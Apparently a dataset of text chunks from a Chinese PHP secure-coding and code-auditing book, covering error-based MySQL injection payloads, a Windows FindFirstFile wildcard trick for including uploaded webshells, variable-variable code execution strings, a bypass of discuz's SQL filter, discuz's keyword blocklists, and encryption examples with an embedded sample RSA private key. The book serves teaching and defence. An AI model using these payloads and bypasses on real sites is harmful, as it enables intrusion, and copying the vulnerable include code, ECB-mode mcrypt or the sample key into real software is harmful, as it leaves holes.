LINESTRING （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第十种：exp（） 注入语句： id = 1 and EXP （ ~ （ SELECT*from （ SELECT user （）） a ）） 错误信息： [Err] 1690 - DOUBLE value is out of range in 'exp （ ~ （（ select 'root@localhost' from dual ））） '"},
    {"text": "8.8 Windows FindFirstFile利用 目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取出文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用到了FindFirstFile这一个winapi函数，该函数到一个文件夹（包括子文件夹）去搜索指定文件。 利用方法很简单，我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可，不过要注意的一点是，只使用一个“<”或者“>”则只能代表一个字符，如果文件名是12345或者更长，这时候请求“1<”或者“1>”都是访问不到文件的，需要“1<<”才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。我们来做个简单的测试，测试代码如下： //1.php < ？ php include （ $_GET['file'] ）； 再在同目录下新建一个文件名为“123456.txt”的文件，内容为phpinfo（）函数，请求/1.php？file=1<<即可包含，效果如图8-12所示。 图 8-12 通过上面的截图我们可以看到成功包含了123456.txt文件。 这里我们要想，什么情况下才能利用这个特性？目前所有PHP版本都可用，PHP并没有在语言层面禁止使用>、<这些特殊字符，在函数层面来讲，这个特性并不是只有include（）、require（）这些文件包含函数或者file_get_contents（）这类文件读取函数才可用，事实上还有很多个函数也一样是可用这个特性的，参见表8-2。 表 8-2 8.9 PHP可变变量 PHP可变变量指的一个变量的变量名可以动态地设置和使用，是PHP语言的一种特性，这个特性让我们在操作变量的时候更加灵活方便，但是同时也带来一些安全问题，我们在挖掘到代码执行漏洞的时候就经常需要用到可变变量来执行代码。 我们先用一段代码来理解什么是可变变量，代码如下： < ？ php $a='seay' ； $$a='123' ； echo $seay ；？ > 在这段代码中，我们并没有直接定义$seay变量，但是我们来看看最终的输出$seay的结果是多少，如图8-13所示。 图 8-13 从截图中可以看到，输出变量$seay的值为“123”，这个123是在$$a赋值的，这时候$a被赋值了\"seay\"，而$$a就相当于$'seay'。 部分PHP应用在写配置文件或者使用preg_replace（）函数第二个参数赋值变量时，会用到双引号（\"）来代表string类型给变量赋值，在PHP语言中，单引号和双引号是有区别的，单引号代表纯字符串，而双引号则是会解析中间的变量，所以当使用双引号时会存在代码执行漏洞，我们来看一个测试，代码如下： < ？ php $a=\"${@phpinfo （） }\" ；？ > 当运行这段代码时，phpinfo（）函数会成功执行，输出内容如图8-14所示。 图 8-14 这里有一个地方需要注意，代码${@phpinfo（）}中的“@”符号是必须存在的，不然就无法执行，但是除了“@”符号还有其他的写法也一样可以，只要不影响PHP规范均可执行，举例如下： 1）花括号内第一个字符为空格： $a = \"${ phpinfo （） }\" ； 2）花括号内第一个字符为TAB： $a = \"${ phpinfo （） }\" ； 3）花括号内第一个字符为注释符： $a = \"${/**/phpinfo （） }\" ； 4）花括号内第一个字符为回车换行符： $a = \"${ phpinfo （） }\" ； 5）花括号内第一个字符为加号（+）： $a = \"${+phpinfo （） }\" ； 6）花括号内第一个字符为减号（-）： $a = \"${-phpinfo （） }\" ； 7）花括号内第一个字符为感叹号（！）： $a = \"${ ！ phpinfo （） }\" ； 除了这些之外还有一些如~、\\等。 第三部分 PHP安全编程规范 这一部分主要介绍PHP安全编程的规范，从攻击者的角度来告诉你应该怎么做才能写出更安全的代码，这也是本书期望达到的目标：让代码没有漏洞。这部分包括第9、10、11章，第9章主要介绍参数的安全过滤，所有的攻击都需要有输入，所以我们要阻止攻击，第一件要做的事情就是对输入的参数进行过滤，该章详细分析discuz的过滤类，用实例说明什么样的过滤更有效果。 第10章主要介绍PHP中常用的加密算法，目前99%以上的知名网站都被拖过库，泄露了大量的用户数据，而在这一章，我们将详细说明使用什么样的加密算法能够帮助你增强数据的安全性。 第11章是安全编程比较核心的一章，所有应用都是一个个功能堆砌起来的，我们在这章从攻击者的角度详细分析常见功能会出现哪些安全问题，在分析出这些安全问题的利用方式后，再给出问题的解决方案，如果你是应用架构师，这些能够帮助你在设计程序功能时避免这些安全问题。"},
    {"text": "第9章 参数的安全过滤 所有对Web应用的攻击都要传入有害的参数，因此代码安全的基础就是对传入的参数进行有效的过滤，比如像SQL注入漏洞，只要过滤到单引号，就能防御住大部分的string类型的SQL注入，只要过滤掉尖括号和单双引号也能过滤掉不少XSS漏洞，这种简单的过滤跟完全不过滤带来的效果是天壤之别，我们做的就是要细化这些过滤规则，通过横向扩展防御策略来拦截更多的攻击，不少第三方提供了这样的过滤函数和类，我们可以直接引用，另外PHP自身提供了不少过滤的函数，好好使用这些内置的函数也能达到非常好的效果。"},
    {"text": "9.1 第三方过滤函数与类 在一些中小型的Web应用程序中，由于大多数开发者是不怎么懂安全的，所以都会选择一些第三方的过滤函数或者类，直接拿过去套着用，并不知道效果到底怎么样。 在PHP安全过滤的类里面，比较出名的有出自80sec团队给出的一个SQL注入过滤的类，在国内大大小小的程序像discuz、dedecms、phpmywind等都使用过。 目前大多数应用都有一个参数过滤的统一入口，类似于dedecms的代码，如下所示： foreach （ Array （ '_GET' ， '_POST' ， '_COOKIE' ） as $_request ） { foreach （ $$_request as $_k => $_v ） { if （ $_k == 'nvarname' ） ${$_k} = $_v ；"},
    {"text": "else ${$_k} = _RunMagicQuotes （ $_v ）； } } 跟进_RunMagicQuotes（）函数之后的代码如下： function _RunMagicQuotes （ &$svar ） { if （！ get_magic_quotes_gpc （）） { if （ is_array （ $svar ） ） { foreach （ $svar as $_k => $_v ） $svar[$_k] = _RunMagicQuotes （ $_v ）； } else { if （ strlen （ $svar ） >0&& preg_match （ '#^ （ cfg_|GLOBALS|_GET|_POST|_COOKIE ） #' ， $svar ）） { exit （ 'Request var not allow ！"},
    {"text": "Board，是康盛创想（北京）科技有限公司（英文简称Comsenz）推出的一套开源通用的社区论坛软件系统，使用PHP＋MySQL开发，现已被腾讯收购，由于用户量巨大，discuz一直是众多安全爱好者重点研究的对象，所以也被公布过不少的安全漏洞。"},
    {"text": "discuz在专门有一个SQL注入过滤类来过滤SQL注入请求，不过也出现了多次绕过的情况，下面我们来分析它的这个SQL注入过滤的类。 首先我们先看到discuz的配置文件/config/config_global.php中的“CONFIG SECURITY”部分内容，如下： // ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '3ca530i1uCe7lRke' ； $_config['security']['urlxssdefend'] = 1 ； $_config['security']['attackevasive'] = '0' ； $_config['security']['querysafe']['status'] = 1 ； // 是否开启 SQL 注入防御 // 以下是过滤规则 $_config['security']['querysafe']['dfunction']['0'] = 'load_file' ； $_config['security']['querysafe']['dfunction']['1'] = 'hex' ； $_config['security']['querysafe']['dfunction']['2'] = 'substring' ； $_config['security']['querysafe']['dfunction']['3'] = 'if' ； $_config['security']['querysafe']['dfunction']['4'] = 'ord' ； $_config['security']['querysafe']['dfunction']['5'] = 'char' ； $_config['security']['querysafe']['daction']['0'] = '@' ； $_config['security']['querysafe']['daction']['1'] = 'intooutfile' ； $_config['security']['querysafe']['daction']['2'] = 'intodumpfile' ； $_config['security']['querysafe']['daction']['3'] = 'unionselect' ； $_config['security']['querysafe']['daction']['4'] = ' （ select' ； $_config['security']['querysafe']['daction']['5'] = 'unionall' ； $_config['security']['querysafe']['daction']['6'] = 'uniondistinct' ； $_config['security']['querysafe']['dnote']['0'] = '/*' ； $_config['security']['querysafe']['dnote']['1'] = '*/' ； $_config['security']['querysafe']['dnote']['2'] = '#' ； $_config['security']['querysafe']['dnote']['3'] = '--' ； $_config['security']['querysafe']['dnote']['4'] = '\"' ； $_config['security']['querysafe']['dlikehex'] = 1 ； $_config['security']['querysafe']['afullnote'] = '0' ； 根据笔者的标注（上面加粗代码），我们可以看到discuz配置文件中可以设置是否开启SQL注入防御，这个选项默认开启，一般不会有管理员去关闭，再往下的内容： $_config['security']['querysafe']['daction'] 以及 $_config['security']['querysafe']['dnote'] 都是SQL注入过滤类的过滤规则，规则里包含了常见的注入关键字。 Discuz执行SQL语句之前会调用\\source\\class\\discuz\\discuz_database.php文件discuz_database_safecheck类下面的checkquery（$sql）函数进行过滤，我们来跟进这个函数看看，代码如下： public static function checkquery （ $sql ） {if （ self ：： $config === null ） { self ：： $config = getglobal （ 'config/security/querysafe' ）； }if （ self ：： $config['status'] ） { $check = 1 ； $cmd = strtoupper （ substr （ trim （ $sql ）， 0 ， 3 ））； if （ isset （ self ：： $checkcmd[$cmd] ）） { $check = self ：： _do_query_safe （ $sql ）； } elseif （ substr （ $cmd ， 0 ， 2 ） === '/*' ） { $check = -1 ； } if （ $check < 1 ） { throw new DbException （ 'It is not safe to do this query' ， 0 ， $sql ）； }}return true ； } 从代码中可以看到，程序首先加载配置文件中的config/security/querysafe，根据$config['status']判断SQL注入防御是否开启，再到$check=self：：_do_query_safe（$sql）； 可以看到该函数又调用了同类下的_do_query_safe（）函数对SQL语句进行过滤，我们继续跟进_do_query_safe（）函数，代码如下： private static function _do_query_safe （ $sql ） { $sql = str_replace （ array （ '\\\\\\\\' ， '\\\\\\'' ， '\\\\\"' ， '\\'\\'' ）， '' ， $sql ）；"},
    {"text": "if （ strpos （ $sql ， '/' ） === false && strpos （ $sql ， '#' ） === false && strpos （ $sql ， '-- ' ） === false && strpos （ $sql ， '@' ） === false && strpos （ $sql ， '`' ） === false ） { $clean = preg_replace （ \"/' （ .+ ？"},
    {"text": "for （ $i = 0 ； $i < $len ； $i++ ） { $str = $sql[$i] ； switch （ $str ） { case '`' ： if （！ $mark ） { $mark = '`' ； $clean .= $str ； } elseif （ $mark == '`' ） { $mark = '' ； } break ；"},
    {"text": "}} if （ strpos （ $clean ， '@' ） ！ == false ） { return '-3' ； } $clean = preg_replace （ \"/[^a-z0-9_\\-\\ （ \\ ） #\\*\\/\\\"]+/is\" ， \"\" ， strtolower （ $clean ））； if （ self ：： $config['afullnote'] ） { $clean = str_replace （ '/**/' ， '' ， $clean ）； } if （ is_array （ self ：： $config['dfunction'] ）） { foreach （ self ：： $config['dfunction'] as $fun ） { if （ strpos （ $clean ， $fun . ' （ ' ） ！ == false ） return '-1' ； } } if （ is_array （ self ：： $config['daction'] ）） { foreach （ self ：： $config['daction'] as $action ） { if （ strpos （ $clean ， $action ） ！ == false ） return '-3' ； } } if （ self ：： $config['dlikehex'] && strpos （ $clean ， 'like0x' ）） { return '-2' ； } if （ is_array （ self ：： $config['dnote'] ）） { foreach （ self ：： $config['dnote'] as $note ） { if （ strpos （ $clean ， $note ） ！ == false ） return '-4' ； } } return 1 ；"},
    {"text": "} 从如上代码我们可以看到，该函数首先使用： $sql = str_replace （ array （ '\\\\\\\\' ， '\\\\\\'' ， '\\\\\"' ， '\\'\\'' ）， '' ， $sql ）； 将SQL语句中的\\\\、\\'、\\\"以及''替换为空，紧接着是一个if else判断逻辑来选择过滤的方式： if （ strpos （ $sql ， '/' ） === false && strpos （ $sql ， '#' ） === false && strpos （ $sql ， '-- ' ） === false && strpos （ $sql ， '@' ） === false && strpos （ $sql ， '`' ） === false ） { $clean = preg_replace （ \"/' （ .+ ？ ） '/s\" ， '' ， $sql ）； } else { 这段代码表示当SQL语句里存在'/'、#'、'--'、'@'、'`'这些字符时，则直接调用preg_replace（）函数将单引号（'）中间的内容替换为空，这里之前存在一个绕过，只要把SQL注入的语句放到单引号中间，则会被替换为空，进行下面再判断的时候已经检测不到SQL注入的关键字，导致绕过的出现，在MySQL中使用@`'`代表null，SQL语句可以正常执行。 else条件中是对整段SQL语句进行逐个字符进行判断，比如 case '/' ： if （ empty （ $mark ） && $sql[$i + 1] == '*' ） { $mark = '/*' ；"},
    {"text": "这段代码的逻辑是，当检查到SQL语句中存在斜杠（/）时，则去判断下一个字符是不是星号（*），如果是星号（*）就把这两个字符拼接起来，即/*，然后继续判断下一个字符是不是星号（*），如果是星号则再继续拼接起来，得到/**，最后在如下代码中判断是否存在原来拦截规则里面定义的字符，如果存在则拦截SQL语句执行： if （ is_array （ self ：： $config['dnote'] ）） { foreach （ self ：： $config['dnote'] as $note ） { if （ strpos （ $clean ， $note ） ！"},
    {"text": "} } 国内知名的多款cms应用如dedecms等，都有使用类似这个过滤类，另外由于应用的基础架构不一样，这个过滤类应用起来的实际效果也各不太一样，discuz目前做得相对较好。"},
    {"text": "9.1.2 discuz XSS标签过滤函数分析 目前大多数XSS过滤都是基于黑名单的形式，编程语言和编码结合起来千变万化，基于黑名单的过滤总给人不靠谱的感觉，事实确实是这样，目前好像还没有看到基于黑名单过滤的规则一直没有被绕过，其实在XSS的防御上，只要过滤掉尖括号以及单、双引号就能干掉绝大部分的payload。 下面我们来看看discuz的HTML标签过滤代码，如下所示： function checkhtml （ $html ） { if （！ checkperm （ 'allowhtml' ）） { preg_match_all （ \"/\\< （ [^\\<]+ ） \\>/is\" ， $html ， $ms ）；"},
    {"text": "if （ $ms[1] ） { $allowtags = 'img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|object|param' ；"},
    {"text": "$value = str_replace （ '&' ， '_uch_tmp_str_' ， $value ）； $value = dhtmlspecialchars （ $value ）； $value = str_replace （ '_uch_tmp_str_' ， '&' ， $value ）； $value = str_replace （ array （ '\\\\' ， '/*' ）， array （ '.' ， '/.' ）， $value ）；"},
    {"text": "$skipkeys = array （ 'onabort' ， 'onactivate' ， 'onafterprint' ， 'onafterupdate' ， 'onbeforeactivate' ， 'onbeforecopy' ， 'onbeforecut' ， 'onbeforedeactivate' ， 'onbeforeeditfocus' ， 'onbeforepaste' ， 'onbeforeprint' ， 'onbeforeunload' ， 'onbeforeupdate' ， 'onblur' ， 'onbounce' ， 'oncellchange' ， 'onchange' ， 'onclick' ， 'oncontextmenu' ， 'oncontrolselect' ， 'oncopy' ， 'oncut' ， 'ondataavailable' ， 'ondatasetchanged' ， 'ondatasetcomplete' ， 'ondblclick' ， 'ondeactivate' ， 'ondrag' ， 'ondragend' ， 'ondragenter' ， 'ondragleave' ， 'ondragover' ， 'ondragstart' ， 'ondrop' ， 'onerror' ， 'onerrorupdate' ， 'onfilterchange' ， 'onfinish' ， 'onfocus' ， 'onfocusin' ， 'onfocusout' ， 'onhelp' ， 'onkeydown' ， 'onkeypress' ， 'onkeyup' ， 'onlayoutcomplete' ， 'onload' ， 'onlosecapture' ， 'onmousedown' ， 'onmouseenter' ， 'onmouseleave' ， 'onmousemove' ， 'onmouseout' ， 'onmouseover' ， 'onmouseup' ， 'onmousewheel' ， 'onmove' ， 'onmoveend' ， 'onmovestart' ， 'onpaste' ， 'onpropertychange' ， 'onreadystatechange' ， 'onreset' ， 'onresize' ， 'onresizeend' ， 'onresizestart' ， 'onrowenter' ， 'onrowexit' ， 'onrowsdelete' ， 'onrowsinserted' ， 'onscroll' ， 'onselect' ， 'onselectionchange' ， 'onselectstart' ， 'onstart' ， 'onstop' ， 'onsubmit' ， 'onunload' ， 'javascript' ， 'script' ， 'eval' ， 'behaviour' ， 'expression' ， 'style' ， 'class' ）； $skipstr = implode （ '|' ， $skipkeys ）； $value = preg_replace （ array （ \"/ （ $skipstr ） /i\" ）， '.' ， $value ）；"},
    {"text": "（ $allowtags ）（ \\s+|$ ） /is\" ， $value ）） { $value = '' ； } $replaces[] = empty （ $value ）？ '' ： \"<\".str_replace （ '&quot ； ' ， '\"' ， $value ） .\">\" ； } } $html = str_replace （ $searchs ， $replaces ， $html ）； }return $html ；"},
    {"text": "} 从代码中可以看到，这里首先定义了一条正则取出来尖括号中间的内容： preg_match_all （ \"/\\< （ [^\\<]+ ） \\>/is\" ， $html ， $ms ）；"},
    {"text": "然后在if（$ms[1]）这个if条件里对这些标签中的关键字进行筛选，$skipkeys变量定义了很多on事件的敏感字符，如下代码中可以看到，最后拼接正则将这些字符串替换掉： $skipstr = implode （ '|' ， $skipkeys ）；"},
    {"text": "9.2 内置过滤函数 PHP本身内置了很多参数过滤的函数，以方便开发者简单有效且统一地进行安全防护，而这些函数可以分为多种类型，如SQL注入过滤函数、XSS过滤函数、命令执行过滤函数、代码执行过滤函数，等等，下面我们来看看这些函数的用法。 1.SQL注入过滤函数 SQL注入过滤函数有addslashes（）、mysql_real_escape_string（）以及mysql_escape_string（），它们的作用都是给字符串添加反斜杠（\\）来转义掉单引号（'）、双引号（\"）、反斜线（\\）以及空字符NULL。addslashes（）和mysql_escape_string（）函数都是直接在敏感字符串前加反斜杠，这里可能会存在绕过宽字节注入绕过的问题，而mysql_real_escape_string（）函数会考虑当前连接数据库的字符集编码，安全性更好，推荐使用。 2.XSS过滤函数 XSS过滤函数有htmlspecialchars（）和strip_tags（），这两个函数的功能大不一样，htmlspecialchars（）函数的作用是将字符串中的特殊字符转换成HTML实体编码，如&转换成&amp；，\"转换成&quot；，'转换成&#039；，<转换成&lt；，>转换成&gt；这个函数简单粗暴但是却非常有效果，已经能干掉大多数的XSS攻击。 而strip_tags（）函数则是用来去掉HTML及PHP标记，比如给这个函数传入“<h1>xxxxx</h1>”，经过它处理后返回的字符串为xxxxx。 3.命令执行过滤函数 通常我们进行系统命令注入的时候会使用到||以及&等字符，PHP为了防止系统命令注入的漏洞，提供了escapeshellcmd（）和escapeshellarg（）两个函数对参数进行过滤，escapeshellcmd（）函数过滤的字符为'&'、'；'、'`'、'|'、'*'、'？'、'~'、'<'、'>'、'^'、'（'、'）'、'['、']'、'{'、'}'、'$'、'\\'、'\\x0A'、'\\xFF'、’%’以及单双引号，Windows下过滤方式则是在这些字符前面加了一个^符号，而在Linux下则是在这些字符前面加了反斜杠（\\）。escapeshellarg（）函数过滤方式比较简单，给所有参数加上一对双引号，强制为字符串。 第10章 使用安全的加密算法 加密是指将明文直接可见的数据以特定的算法进行混淆，以保证数据的安全掩蔽性。加密一直是一个很热的话题，在密码学中占很大一块比例，目前常见的加密算法可以分为对称加密、非对称加密以及单向加密（哈希算法），这些加密算法大量运用在各种系统和应用中，最常见的是我们访问使用HTTPS的网站流量是经过加密的，密码保存在网站数据库中大多也是经过MD5或者DES加密，而通常不推荐使用可逆的加密算法来加密保存用户登录密码，因为黑客在拿到密钥的情况下可对数据进行还原。下面我们来看看PHP中常用的加解密算法的实现方式。"},
    {"text": "10.1 对称加密 对称加密指的是采用单密钥进行加密，并且该密钥可以对数据进行加密和解密处理，目前这类加密算法安全性均比较高，数据的实际安全性取决于密钥的管理，就算黑客拿到加密后的数据，如果没有密钥，这些数据对于黑客来说也是垃圾数据而已，而拿到密钥之后可以对加密数据进行还原，所以笔者不建议使用对称加密对用户密码进行加密存储。"},
    {"text": "图 10-1 明文数据123456可以在加密算法的作用下使用密钥0s9ansk2处理后变成d2fm83jjf，同样使用这个密钥也能把d2fm83jjf解密回123456。"},
    {"text": "10.1.1 3DES加密 DES（Data Encrypt Standard）又称Triple DES，是DES加密算法的一种模式，它使用3条56位的密钥对数据进行三次加密。 DES加密算法是美国的一种由来已久的加密标准，这种算法通常用于加密需要传输的数据。"},
    {"text": "PHP中需要在php.ini中打开php_mcrypt.dll以及php_mcrypt_filter.dll两个lib库的引用，即去掉以下代码前面的分号： ； extension=php_mcrypt.dll ； extension=php_mcrypt_filter.dll PHP的3DES已经有很简洁成熟的加密，我们来看一个简单的3DES加解密类，代码如下： < ？ php class Crypt3Des { public $key = \"xxxx\" ； // 加密密钥 function Crypt3Des （ $key ） { $this->key=$key ； } // 加密函数 function encrypt （ $input ） { $size = mcrypt_get_block_size （ MCRYPT_3DES ， 'ecb' ）；"},
    {"text": "$td = mcrypt_module_open （ MCRYPT_3DES ， '' ， 'ecb' ， '' ）； $iv = @mcrypt_create_iv （ mcrypt_enc_get_iv_size （ $td ）， MCRYPT_RAND ）； @mcrypt_generic_init （ $td ， $key ， $iv ）； $data = mcrypt_generic （ $td ， $input ）； mcrypt_generic_deinit （ $td ）； mcrypt_module_close （ $td ）；"},
    {"text": "$data = base64_encode （ $data ）； return $data ； } // 解密函数 function decrypt （ $encrypted ） { $encrypted = base64_decode （ $encrypted ）； $key = str_pad （ $this->key ， 24 ， '0' ）； $td = mcrypt_module_open （ MCRYPT_3DES ， '' ， 'ecb' ， '' ）； $iv = @mcrypt_create_iv （ mcrypt_enc_get_iv_size （ $td ）， MCRYPT_RAND ）； $ks = mcrypt_enc_get_key_size （ $td ）； @mcrypt_generic_init （ $td ， $key ， $iv ）； $decrypted = mdecrypt_generic （ $td ， $encrypted ）； mcrypt_generic_deinit （ $td ）； mcrypt_module_close （ $td ）； $y=$this->pkcs5_unpad （ $decrypted ）；"},
    {"text": "} function pkcs5_pad （ $text ， $blocksize ） { $pad = $blocksize - （ strlen （ $text ） % $blocksize ）； return $text . str_repeat （ chr （ $pad ）， $pad ）； } function pkcs5_unpad （ $text ） { $pad = ord （ $text{strlen （ $text ） -1} ）； if （ $pad > strlen （ $text ）） { return false ； } if （ strspn （ $text ， chr （ $pad ）， strlen （ $text ） - $pad ） ！ = $pad ） { return false ； } return substr （ $text ， 0 ， -1 * $pad ）； } function PaddingPKCS7 （ $data ） { $block_size = mcrypt_get_block_size （ MCRYPT_3DES ， MCRYPT_MODE_CBC ）； $padding_char = $block_size - （ strlen （ $data ） % $block_size ）； $data .= str_repeat （ chr （ $padding_char ）， $padding_char ）； return $data ；"},
    {"text": "$input=\"hello 3des\" ； echo \" 原文： \".$input.\"<br/>\" ； $encrypt_card=$rep->encrypt （ $input ）； echo \" 加密： \".$encrypt_card.\"<br/>\" ； echo \" 解密： \".$rep->decrypt （ $rep->encrypt （ $input ））；"},
    {"text": "图 10-2 10.1.2 AES加密 AES（Advanced Encryption Standard）加密在密码学中又称Rijndael加密法，比3DES更加安全，密钥长度的最少支持为128、192、256位，所以逐渐替代原先的DES。"},
    {"text": "PHP中需要在php.ini中打开php_mcrypt.dll库的引用，设置方法我们已在上一小节介绍过，我们来看一个PHP中AES的加解密实例： < ？ php class Aes{ public $_secrect_key='' ； // 密钥 function Aes （ $key ） { $this->_secrect_key = $key ； } /** * 加密方法 * @param string $str * @return string */ function encrypt （ $str ） { //AES ， 128 ECB 模式加密数据 $screct_key = $this->_secrect_key ；"},
    {"text": "$iv = mcrypt_create_iv （ mcrypt_get_iv_size （ MCRYPT_RIJNDAEL_128 ， MCRYPT_MODE_ECB ）， MCRYPT_RAND ）； $encrypt_str = mcrypt_encrypt （ MCRYPT_RIJNDAEL_128 ， $screct_key ， $str ， MCRYPT_MODE_ECB ， $iv ）； return base64_encode （ $encrypt_str ）； } /** * 解密方法 * @param string $str * @return string */ function decrypt （ $str ） { //AES ， 128 ECB 模式加密数据 $screct_key = $this->_secrect_key ； $str = base64_decode （ $str ）； $screct_key = base64_decode （ $screct_key ）； $iv = mcrypt_create_iv （ mcrypt_get_iv_size （ MCRYPT_RIJNDAEL_128 ， MCRYPT_MODE_ECB ）， MCRYPT_RAND ）； $encrypt_str = mcrypt_decrypt （ MCRYPT_RIJNDAEL_128 ， $screct_key ， $str ， MCRYPT_MODE_ECB ， $iv ）； $encrypt_str = trim （ $encrypt_str ）； $encrypt_str = $this->stripPKSC7Padding （ $encrypt_str ）； return $encrypt_str ；"},
    {"text": "$block = mcrypt_get_block_size （ 'rijndael-128' ， 'ecb' ）； $pad = $block - （ strlen （ $source ） % $block ）； if （ $pad <= $block ） { $char = chr （ $pad ）； $source .= str_repeat （ $char ， $pad ）； } return $source ； } /** * 移去填充算法 * @param string $source * @return string */ function stripPKSC7Padding （ $source ） { $source = trim （ $source ）； $char = substr （ $source ， -1 ）； $num = ord （ $char ）； if （ $num==62 ） return $source ； $source = substr （ $source ， 0 ， -$num ）； return $source ；"},
    {"text": "$encrypt_card=$rep->encrypt （ $input ）； echo \" 加密： \".$encrypt_card.\"<br/>\" ； echo \" 解密： \".$rep->decrypt （ $rep->encrypt （ $input ））；"},
    {"text": "10.2 非对称加密 非对称加密与对称加密不一样的地方在于，非对称加密算法有两个密钥，分别为公钥和私钥，它的安全性比对称加密更好，公钥用来加密，私钥用来解密，如果用公钥对数据进行加密，只有用对应的私钥才能解密，两个密钥不一致，所以叫非对称加密。 它的使用流程原理如图10-4所示。 图 10-4 RSA加密 RSA公钥加密算法在1977年由罗纳德·李维斯特（Ron Rivest）、阿迪·萨莫尔（Adi Shamir）和伦纳德·阿德曼（Leonard Adleman）一起提出，RSA正是他们三人的姓氏开头字母拼接。RSA是目前公认最有影响力的加密算法，不过并不是不可破解的，在短密钥的情况下，基于现在越来越强大的云计算，也存在被爆破的可能。早在1999年，就有花了五个月时间在一台有3.2G中央内存的Cray C916计算机上成功分解RSA-155（512位）。 RSA的最大问题在于加解密速度慢，整个运算过程相对要消耗不少时间，不过这一些问题在今后计算资源横向扩展的条件下，也不是很大的问题。 我们来测试一下PHP下的RSA加解密，如果希望简单一点，PHP上可以使用phpseclib，下载地址 http://phpseclib.sourceforge.net/ ，不需要配置即可直接使用，首先下载phpseclib，文件结构如图10-5所示。 图 10-5 然后生成密钥，代码如下： < ？ php include （ './Crypt/RSA.php' ）； $rsa = new Crypt_RSA （）； extract （ $rsa->createKey （））； echo \"$privatekey<br />$publickey\" ； 生成密钥后，我们来看看加解密代码： < ？ php $PUBLIC_KEY ='-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCm418GwRwXmYOC6eb6G6NzCMRt nan7Jt76kygfmfa2mGRu1Ff8t3bjyrrRPra8LQgcGxO1KZkDPxODsfX2fblXCNCz EXxYerZIrcQXR4utTMXkQCN7E7egNDlQOqrP0awFZ5OWrYcbDdmgxa2jAEGtR3Fa m+GpAAH94H1crvcbSwIDAQAB -----END PUBLIC KEY-----' ； $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQCm418GwRwXmYOC6eb6G6NzCMRtnan7Jt76kygfmfa2mGRu1Ff8 t3bjyrrRPra8LQgcGxO1KZkDPxODsfX2fblXCNCzEXxYerZIrcQXR4utTMXkQCN7 E7egNDlQOqrP0awFZ5OWrYcbDdmgxa2jAEGtR3Fam+GpAAH94H1crvcbSwIDAQAB AoGBAKYm+RTgbfeQ/z33Yd7gZXrB387Cidlied0/ZVMRFm/0iQlOn8sbXWKtFBH/ Pi9bJhfVXWmgYJa61dLn+tnNkhdYsWCHxN3eMlLJ8XuQjvmrofWb1yZtWVblGhbd O9fSX2RH8m7DOxrV85/oP0qYTKfla8R21hKmdgo9JDeqMRUBAkEA2ZLqpnqXJ2qp FE3OHnQydnJQllAG7l1egYheQh0JmeI8CVrWjv40sK5clQK6kONj9JscD0ZPdCqq EVQb5dSWtQJBAMRc0hzEVpgo544lSIZV1sMiWwxVhDLpvuEUJZtSLh52FIt07Rt7 mVV0IExq7Z2bDX1yhHiqYPen7ck0GC0KKf8CQCTp3zPVkrWWTA9sz+6syi78YB3Q gAyK/NC/QTa4VHuuPX9c0RA7otbjDkQdzWdtnPTQKCeTR0GvR2FfQshwlA0CQGCZ zWALkxI+JVQ/sUMtHX9X+nTB6Uxmw9nU4H9d2YRw0MCeoDsB/jgU7gLKI+WCLwvE 97ipERUlDw0JzM7zjh8CQEz541yxg7sttBtEV2RZOd+8bMBaRJWXYqN86vn+dSjq ds4vY6KgESImQ7Y+o30TcgxgjGZlujZMLgqv9E4VmwY= -----END RSA PRIVATE KEY-----' ； include （ 'Crypt/RSA.php' ）； $rsa = new Crypt_RSA （）； $rsa->loadKey （ $PUBLIC_KEY ）； // 载入公钥 $plaintext = 'phpsec' ； $rsa->setEncryptionMode （ CRYPT_RSA_ENCRYPTION_PKCS1 ）； $ciphertext = $rsa->encrypt （ $plaintext ）； $rsa->loadKey （ $PRIVATE_KEY ）； // 载入私钥 echo $ciphertext.'<br />'.'<br />'.'<br />' ； echo $rsa->decrypt （ $ciphertext ）； 可以看到$rsa->encrypt（$plaintext）；函数用来加密，最终用$rsa->decrypt（$ciphertext）来解密并输出明文字符串“phpsec”，效果如图10-6所示。 图 10-6 第一行的乱码就是加密后的“phpsec”，通常保存的时候还会用Base64转码一下才好。"},
    {"text": "10.3 单向加密 之前我们介绍的加密算法都是双向的，也就是加密后可以再逆向算出明文数据，而在加密算法里面，还有单向加密，也就是不可逆算法，常见的有MD系列（md4、md5）和sha1等。因为存在不可逆的性质，所以这类哈希算法通常用来保存密码和做数字签名，不过因为相同的字符串的哈希值是一样的，所以存在碰撞的问题，目前全球公开的最大MD5解密库cmd5.com号称有24万亿条数据，解密率全球第一，笔者在实际应用中也感受到普通人常用的密码破解成功率也在90%以上。 MD5/sha1加密 MD5是目前使用最多的密码存储加密算法，几乎95%以上的网站都在使用MD5算法，MD5分为16位和32位，实际上它们的安全性并没有什么不一样的地方。根据实际经验来看，用单纯MD5（不加salt）来存储用户密码是非常不安全的，提供MD5解密的网站随处可见，如cmd5.com、xmd5.com，等等。 在PHP中进行MD5计算很简单，PHP提供了md5（）函数，只要传入一个字符串即可返回加密后的结果。 同样，sha1加密也被部分网站用来保存密码，它比MD5更长，足足有40位，支持sha1解密的网站相对较少，碰撞的数据量也相对较少，所以实际中它的“安全性”比MD5更好。我们来看看它的使用方法，代码如下： < ？ php echo 'phpsec md5 ： '.md5 （ 'phpsec' ）； echo '<br />' ； echo 'phpsec sha1 ： '.sha1 （ 'phpsec' ）； 执行结果如图10-7所示。 图 10-7 第11章 业务功能安全设计 